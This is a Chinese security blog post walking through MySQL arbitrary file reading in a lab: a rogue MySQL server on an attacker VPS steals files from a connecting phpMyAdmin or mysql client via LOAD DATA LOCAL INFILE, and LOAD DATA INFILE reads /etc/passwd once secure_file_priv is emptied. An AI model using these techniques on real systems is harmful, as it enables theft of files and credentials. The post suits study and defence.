美文网首页数据库
MYSQL 任意文件读取

MYSQL 任意文件读取

作者: CSeroad | 来源:发表于2020-10-31 20:14 被阅读0次

    前言

    最近看到mysql的任意文件读取,好奇该漏洞如果出现在实际中该是什么样的。

    phpmyadmin 读取

    利用条件

    修改phpmyadmin下的libraries\config.default.php内容

    $cfg['AllowArbitraryServer'] = true
    

    默认为false,只允许localhost本地登录。true允许远程登录。

    利用过程

    github下载poc。
    查看rogue_mysql_server.py 文件

    image.png

    port为端口
    filelist为读取的文件
    mysql.log为记录日志
    vps运行

    python rogue_mysql_server.py
    

    访问phpstudy的phpmyadmin

    image.png

    服务器填写vps:port,用户名、密码随意。点击执行。
    vps上生成mysql.log文件,可看到win.ini源码。

    image.png

    mysql 读取

    利用条件

    mysql.exe客户端命令行执行。话说实际中什么情况下会读取客户端信息。

    利用过程

    以kali为受害机,vps为攻击机。
    操作过程一样。

    mysql -h 106.53.xx.xx -uroot -p --enable-local-infile
    

    客户端必须具有LOAD DATA LOCAL 属性,需要添加--enable-local-infile。

    image.png

    密码随意输入。
    读取的客户端文件保存在mysql.log

    image.png

    local data local infile

    上面读取客户端的信息,就是用了local data local infile这个特性。用来读取一个文件的内容并且放到一个表中。
    比如使用navicat远程连接mysql服务端。

    load data local infile 'xxx' into table test  将客户端文件存入test表中
    
    image.png image.png

    local data infile

    与local data local infile相反,local data infile是从本地服务端读取数据。

    load data infile 'xxx' into table test;  将服务端文件存入test表中
    
    image.png

    这里用的是mysql5.7版本,会有--secure-file-priv提示。

    --secure-file-priv

    查看该特性。默认值为/var/lib/mysql-files/

    show variables like '%secure%'
    
    image.png

    这里简单说明一下

    secure_file_priv 值为null ,表示限制mysqld 不允许导入|导出
    secure_file_priv 值为/var/lib/mysql-files/,表示限制mysqld 的导入|导出只能在该目录下
    secure_file_priv 无值,表示不对mysqld 的导入|导出做限制
    

    修改该配置,需要编辑/etc/mysql/mysql.conf.d/mysqld.cnf
    该文件
    添加

    secure_file_priv=''
    

    重启mysql服务。即可允许mysql任意导入导出。

    image.png
    create table test(
    passwd varchar(100)
    )
    

    创建test表

    load data infile '/etc/passwd' into table test;
    

    备份/etc/passwd文件到test表

    select * from test;
    

    获取test表的内容。

    image.png

    可成功读取。

    回顾

    再顺便看linux下mysql的一些导出操作。

    general_log_file

    都知道phpmyadmin可以利用日志导出文件来getshell。那么linux下呢?

    image.png

    linux下无法利用日志导出。同样是需要修改/etc/mysql/mysql.conf.d/mysqld.cnf文件。

    into outfile

    image.png

    无法导出到/var/www/html/下,可导出到/tmp/下

    image.png image.png

    这是因为mysql不是以root权限运行。

    image.png

    参考资料

    https://g.yuque.com/corgi/vghqzi/dogiym
    https://xz.aliyun.com/t/3973

    相关文章

      网友评论

        本文标题:MYSQL 任意文件读取

        本文链接:https://www.haomeiwen.com/subject/gbhopktx.html